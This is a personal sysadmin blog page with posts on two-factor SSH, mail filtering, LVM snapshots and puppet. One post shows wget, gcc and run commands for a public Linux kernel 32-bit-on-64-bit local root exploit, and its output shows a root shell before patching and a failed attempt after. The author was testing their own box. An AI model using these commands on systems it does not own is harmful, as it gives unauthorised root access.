Quicksearch
Powered by
Creative Commons
Blog Administration
Block mail from certain countries with sendmail
Monday, December 12. 2011
FreeBSD upgrade a prerelease to a release
Wednesday, November 30. 2011
How to update Python bindings to subversion.
Wednesday, July 13. 2011
CentOS 5 enabling Two-factor SSH authentication via Google
Tuesday, June 21. 2011
Today I noticed a very nice article about enabling Google's two-factor authentication for Linux SSH.
After reading it... I found some time to play with it... so I enabled it within 10 minutes on my CentOS 5 64bit play-ground server... but there are some small 'caveats'.
hg - Command
To checkout the code, you must make install the mercurial RPM... this one is available via the EPEL repositories.
So after having the EPEL repositories enabled, run as root:
yum -y install mercurial
Compiling the PAM module
When you checked out the code.
hg clone https://google-authenticator.googlecode.com/hg/ google-authenticator/
You cannot compile directly the module... therefor you must apply a small change to the Makefile.
Change where /usr/lib/libdl.so is stated to /usr/lib64/libdl.so (3 occurrences)
$ make
$ sudo make install
Now you've to update the /etc/pam.d/sshd so it contains:
#%PAM-1.0
auth required pam_google_authenticator.so
auth include system-auth
account required pam_nologin.so
account include system-auth
password include system-auth
session optional pam_keyinit.so force revoke
session include system-auth
session required pam_loginuid.so
Configure SSH
You also have to make sure that in /etc/ssh/sshd_config the following settings are set on yes:
ChallengeResponseAuthentication yes
UsePAM yes
And restart the SSH-daemon
Set up your smartphone/credentials on the system
$ google-authenticator
https://www.google.com/chart?chs=200x200&chld=M|0&cht=qr&chl=otpauth://totp/user@server%3Fsecret%3DSAEP64T5VZAVWAFB
Your new secret key is: SAEP64T5VZAVWAFB
Your verification code is 376046
Your emergency scratch codes are:
67868696
26247332
54815527
54336661
71083816
Do you want me to update your "~/.google_authenticator" file (y/n) y
Do you want to disallow multiple uses of the same authentication
token? This restricts you to one login about every 30s, but it increases
your chances to notice or even prevent man-in-the-middle attacks (y/n) y
By default, tokens are good for 30 seconds and in order to compensate for
possible time-skew between the client and the server, we allow an extra
token before and after the current time. If you experience problems with poor
time synchronization, you can increase the window from its default
size of 1:30min to about 4min. Do you want to do so (y/n) n
If the computer that you are logging into isn't hardened against brute-force
login attempts, you can enable rate-limiting for the authentication module.
By default, this limits attackers to no more than 3 login attempts every 30s.
Do you want to enable rate-limiting (y/n) y
And you're done 
Give it a try to SSH to that box...
TIP: Make sure you've an SSH session still open... or you might lock yourself out of the system...
Use maildrop to forward a mail to another mail box
Thursday, November 11. 2010
I recently had the need to forward e-mail based on the from field to another mailbox. I know, it's possible with a simple .forward in your $HOME, but that will forward all the mail. 
So after some further searching I end up with the following rule for your maildrop filter... it simply checks if the mail (in this example) is from linus@mail.example.com and will forward it to linuxbox@collector.example.com:
if ( /^From: .*linus@mail\.example\.com.*/ )
{
dotlock "forward.lock" {
log "Forward mail"
to "|/usr/sbin/sendmail linuxbox@collector.example.com"
}
}
And that's all you need to put add to your $HOME/.mailfilter
Use Picasa RSS Feed to show album on my own website
Tuesday, October 19. 2010
Recently I've moved the web albums of my kids from my own webserver to Google Picasa. But... I wanted to keep my nice javascript based carousel 
In the current code I already had some PHP-code that creates the content of the carousel using an array. Now I added two new features in the 'website'.
- Config files
- Downloading the RSS (XML) feed and cache it
- Extract the URLs with the photos from the XML feed.
1. Config files
One 'global' config:
<?php
cacheLocation="/tmp/picasa-cache/";
$cacheTTL = 60;
?>
Per album I've a config.php in that directory, so for example we've the following content:
<?php
$xmlURL='http://picasaweb.google.com/data/feed/base/user/k/id/123456970123ASBD1?alt=rss';
$AlbumDescription="Rick de Rijk";
$PicasaURL="http://picasaweb.google.com/paderijk/Rick";
$ShortName="rick";
$xmlFile="$cacheLocation/$ShortName.xml";
?>
2. Download the RSS (XML) feed and cache it:
<?php
# Code that takes care of the caching
#
if (!(file_exists($xmlFile) &&
(time() - $cacheTTL < filemtime($xmlFile))
)) {
//unlink($xmlFile);
$data = file_get_contents($xmlURL);
$f = file_put_contents($xmlFile, $data);
}
?>
3. Extract the URLs with the photos from the feed
<?php
$foto_array = array();
$xml = new SimpleXMLElement($xmlFile, null, true);
$urls = $xml->xpath("channel/item/enclosure/@url");
foreach ($urls as $image_url)
{
array_push($foto_array, $image_url);
}
?>
That's all
The Linux Kernel exploit - become root by running 32bit code on a 64bit machine
Wednesday, October 13. 2010
A lot of discussion is about one of the last kernel exploits... the one that you can become root using 32bit code on a 64bit machine. So I wanted to know if I'm vulnerable as well... just wanted to know how it works
So I simply did (as normal user) on a vulnerable version of the Linux kernel on CentOS 5.5:
$ mkdir /tmp/expl
$ wget -O /tmp/expl/expl.c http://www.seclists.org/fulldisclosure/2010/Sep/att-268/ABftw_c.bin
$ gcc -m32 -o /tmp/expl/expl.exe /tmp/expl/expl.c
Now run the binary:
[pieter@testbox ~]$ whoami
pieter
[pieter@testbox ~]$ /tmp/expl/expl.exe
Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y
$$$ Kallsyms +r
$$$ K3rn3l r3l3as3: 2.6.18-128.7.1.el5
??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d
$$$ L00k1ng f0r kn0wn t4rg3tz..
$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
$$$ selinux_ops->ffffffff8030d360
$$$ dummy_security_ops->ffffffff80496c00
$$$ capability_ops->ffffffff8030ec20
$$$ selinux_enforcing->ffffffff80499960
$$$ audit_enabled->ffffffff80485124
$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d
$$$ Prepare: m0rn1ng w0rk0ut b1tch3z
$$$ Us1ng st4nd4rd s3ash3llz
$$$ 0p3n1ng th3 m4giq p0rt4l
$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP
sh-3.2# whoami
root
sh-3.2#
Well... I don't like that... so... update the kernel, reboot and check again!
[pieter@testbox ~]$ whoami
pieter
[pieter@testbox ~]$ /tmp/expl/expl.exe
Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y
$$$ Kallsyms +r
$$$ K3rn3l r3l3as3: 2.6.18-194.17.1.el5
??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d
$$$ L00k1ng f0r kn0wn t4rg3tz..
$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
$$$ selinux_ops->ffffffff80327ac0
$$$ dummy_security_ops->ffffffff804b9540
$$$ capability_ops->ffffffff80329380
$$$ selinux_enforcing->ffffffff804bc2a0
$$$ audit_enabled->ffffffff804a7124
$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d
$$$ Prepare: m0rn1ng w0rk0ut b1tch3z
$$$ Us1ng st4nd4rd s3ash3llz
$$$ 0p3n1ng th3 m4giq p0rt4l
!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!
[pieter@testbox ~]$
Fixed LDAP after upgrading from CentOS 5.4 to 5.5
Monday, October 4. 2010
Some months ago I upgraded my CentOS servers from version 5.4 to 5.5. One of these servers were running LDAP Master and LDAP Slave as playground. Although after the upgrade to CentOS 5.5 it was broken, but due to other priorities I didn't had a change to fix it.
On my systems I enabled TLS to communicate to LDAP-servers and also enabled kerberos. So this results in a modified /etc/sysconfig/ldap:
# Enable Kerberos
export KRB5_KTNAME="FILE:/etc/openldap/ldap.keytab"
But I noticed that the RPM installed a new version of that, although with the extension .rpmnew. So after applying the changes that were in the .rpmnew file and when I set SLAPD_LDAPS and SLAPD_LDAPI to "yes" I end up with the following content:
# Parameters to ulimit called right before starting slapd
# - use this to change system limits for slapd
ULIMIT_SETTINGS=
# How long to wait between sending slapd TERM and KILL
# signals when stopping slapd by init script
# - format is the same as used when calling sleep
STOP_DELAY=3s
# By default only listening on ldap:/// is turned on.
# If you want to change listening options for slapd,
# set following three variables to yes or no
SLAPD_LDAP=yes
SLAPD_LDAPS=yes
SLAPD_LDAPI=yes
export KRB5_KTNAME="FILE:/etc/openldap/ldap.keytab"
And guess what... It works again
Creating Snapshots of a backup using LVM snapshot
Monday, February 22. 2010
Normally I used to have a backup-retention-script in place that will create a TAR-ball of the backup data (using Herakles). But this way I was not able to have a retention of longer then 3 days
So I had to look into another solution, I could add a new harddrive in the server... but there should be something else possible. So I ended up by using LVM snapshots. So I created a Volume group of about 100GB. In that volume group I created a logical volume of about 30GB, which is enough (and if not, we can 'grow' the Filesystem thanks to LVM )
After having all that done, I've created a script located in /root/scripts/lvm-snapshot. This script runs every midnight and creates a snapshot.
#!/bin/bash
#
# Create LVM Snapshots
#
#
#---------------------------------------------------------------------------------------------------------------
CURRENT_SNAPNAME="snap-"$(date "+%Y%m%d%H%M%S")
VOLUME2SNAPSHOT="/dev/vol_backup/lvm0"
LVMSNAPSHOTCMD="/usr/sbin/lvcreate -L 2G -s -n $CURRENT_SNAPNAME $VOLUME2SNAPSHOT"
LINE="---------------------------------------------------------------------------------------------------------------------"
echo $LINE
df -h /mnt/data
echo $LINE
$LVMSNAPSHOTCMD 2> /dev/null
#---------------------------------------------------------------------------------------------------------------
SNAPSHOT_RETENTION=15
CURRENT_SNAPSHOT_COUNT=$(lvdisplay | grep "^ LV Name /dev/vol_backup/snap" | sort | awk '{ print $3 }' | wc -l)
OVERFLOW=$(echo $CURRENT_SNAPSHOT_COUNT - $SNAPSHOT_RETENTION | bc)
if [ $OVERFLOW -gt 0 ];
then
echo $LINE
for files in $(lvdisplay | grep "^ LV Name /dev/vol_backup/snap" | sort | awk '{ print $3 }' | head -n$OVERFLOW);
do
/usr/sbin/lvremove -f $files 2> /dev/null
done
fi
#---------------------------------------------------------------------------------------------------------------
echo $LINE
/usr/sbin/vgdisplay vol_backup
echo $LINE
/usr/sbin/lvdisplay $VOLUME2SNAPSHOT
And the crontab entry is:
# crontab -l
0 0 * /root/scripts/lvm-snapshot
RHEL 5 with puppet, mongrel and apache
Friday, December 11. 2009
This week I had to set up puppet with mongrel and apache for the balancing. To be honest... I never heard aboutthe puppet tool at all before (sorry puppet-developers ). As far as I understood, the puppetmaster is not really doing well with handling multiple concurrent requests and we need to provision about 128 compute nodes from a HPC cluster ...
On how I set up all the stuff in the test environment/production environment.
First I identified the right RPMs from EPEL, because I had no connection to the Internet:
augeas-0.5.3-1.el5.x86_64.rpm
augeas-libs-0.5.3-1.el5.x86_64.rpm
facter-1.5.7-1.el5.noarch.rpm
puppet-0.24.8-4.el5.noarch.rpm
puppet-server-0.24.8-4.el5.noarch.rpm
ruby-augeas-0.3.0-1.el5.x86_64.rpm
rubygem-daemons-1.0.7-2.el5.noarch.rpm
rubygem-fastthread-1.0.1-1.el5.x86_64.rpm
rubygem-gem_plugin-0.2.2-2.el5.noarch.rpm
rubygem-mongrel-1.0.1-6.el5.x86_64.rpm
rubygem-rake-0.8.3-1.el5.noarch.rpm
rubygems-1.3.1-1.el5.noarch.rpm
ruby-shadow-1.4.1-7.el5.x86_64.rpm
You can install them with 'yum --nogpgcheck localinstall *.rpm'.
You must als make sure that apache with mod_ssl is installed as well (yum install httpd mod_ssl).
Configuring Apache for load-balancing
As mentioned before, apache and puppet master must be installed.
First I copied and modified the /etc/init.d/httpd script to use it for puppet loadbalancing. Find my copy of the script on:
http://www.xs4all.nl/~paderijk/blog/puppet-balancer
So you can do:
# cd /etc/init.d/
# wget http://www.xs4all.nl/~paderijk/blog/puppet-balancer
# chmod 755 ./puppet-balancer
Now we have to create the some additional directories:
# mkdir -p /var/log/puppet-balancer
# mkdir -p /etc/puppet-balancer/{conf,conf.d}
I used the configuration file initially set up by from Jeff McCune and modified it for RHEL5. This file can be found on:
http://www.xs4all.nl/~paderijk/blog/puppet-balancer.conf
So you can put it into place like this:
# cd /etc/puppet-balancer/conf
# wget http://www.xs4all.nl/~paderijk/blog/puppet-balancer.conf
And finally we need to create a symlink name /usr/sbin/puppet-balancer which links to /usr/sbin/httpd
# ln -s /usr/sbin/httpd /usr/sbin/puppet-balancer
I've done this, because somehow the init-scripts are having some inconstancy.
And we also need a /etc/sysconfig/puppet-balancer file
# cd /etc/sysconfig
# wget http://www.xs4all.nl/~paderijk/blog/sysconfig-puppetbalancer
# mv sysconfig-puppetbalancer puppet-balancer
For so far the apache configuration, still we don't start the puppet-balancer 'service'. First we need to configure and start the puppet master.
Configuration puppetmaster
The configuration of the puppetmaster was actually very easy.
*UPDATE* A colleague pointed me on the fact that the CA wasn't set up properly going into mongrel mode. So first start puppetmaster normally:
# service puppetmaster start ; sleep 5 ; service puppetmaster stop
Make sure the following line is 'enabled' to /etc/sysconfig/puppetmaster:
PUPPETMASTER_PORTS=( 18140 18141 18142 18143 )
This will enable puppetmaster with mongrel and starts on the ports 18140 to 18143
I also noticed that the RPM for puppetmaster didn't set up all the required directories, so I need to add them manual:
# mkdir -p /var/lib/puppet/yaml/{facts,nodes}
# chown puppet:puppet /var/lib/puppet/yaml/{facts,nodes}
Start the puppetmaster and Apache (puppet-balancer)
Now we can start the puppetmaster:
# service puppetmaster start
But we want to survive reboots as well, so we do also:
# chkconfig puppetmaster on
Now the Puppet CA is also set up. So now we can start the puppet-balancer (apache) as well. But first we need to symlink the key-file and the certificate file:
# ln -s /var/lib/puppet/ssl/private_keys/{$(hostname -f).pem,puppet-balancer.pem}
# ln -s /var/lib/puppet/ssl/certs/{$(hostname -f).pem,puppet-balancer.pem}
And now we can start the puppet-balancer:
# service puppet-balancer start
And get it also up and running after a reboot:
# chkconfig puppet-balancer on
More details on how to do further configuration/setting up manifest files et cetera can be found on the Puppet wiki:
Continue reading "RHEL 5 with puppet, mongrel and apache"
Mozilla Labs Weave
Saturday, October 10. 2009
Load Grid Engine accounting file into MySQL
Wednesday, September 30. 2009
Recently I need to create a report about utilization of an HPC Cluster that uses Grid Engine, but we didn't had ARCO and so not running yet for that cluster
So I digged into my brain on how to load data from a "RAW" format into a database... it's something I did when I worked for PricewaterhouseCoopers Advisory, but then I used financial data.
Please press the continue reading link below... to read more
Continue reading "Load Grid Engine accounting file into MySQL"
Uptimal usage of resources, result in "overuse" of licenses
Thursday, July 16. 2009
Bleeding edge, is indeed bleeding edge
Thursday, July 16. 2009
The first issue I run into, was that Firefox 3.5 was not able to run, it caused a segfault. There seems to be a bug in the xulrunner package. So I was able to fix it, by "downgrading" Firefox to 3.0.11, but that one crashed on pages using "Adobe Flash plugin". So I removed the flash plugin, because I wanted bleeding edge Fedora. So having that "sort out" I wanted to suspend my laptop, and guess what... It didn't want to suspend... so after some hacking around... it still didn't work.
So my final decision was Go back to FC11. I was able to "downgrade" my system in about 60 minutes. At home I've a mirror repository with al the backups, so during installation I added these repositories, so I also had all the updates in one go.
Lesson learned: "Bleeding edge... is indeed bleeding edge!"
I need my work for my daily work... If I won't need it for my daily work I would have keep FC12 (aka Rawhide, aka FC11.90) on it to participate in developing FC12.
Own Sites
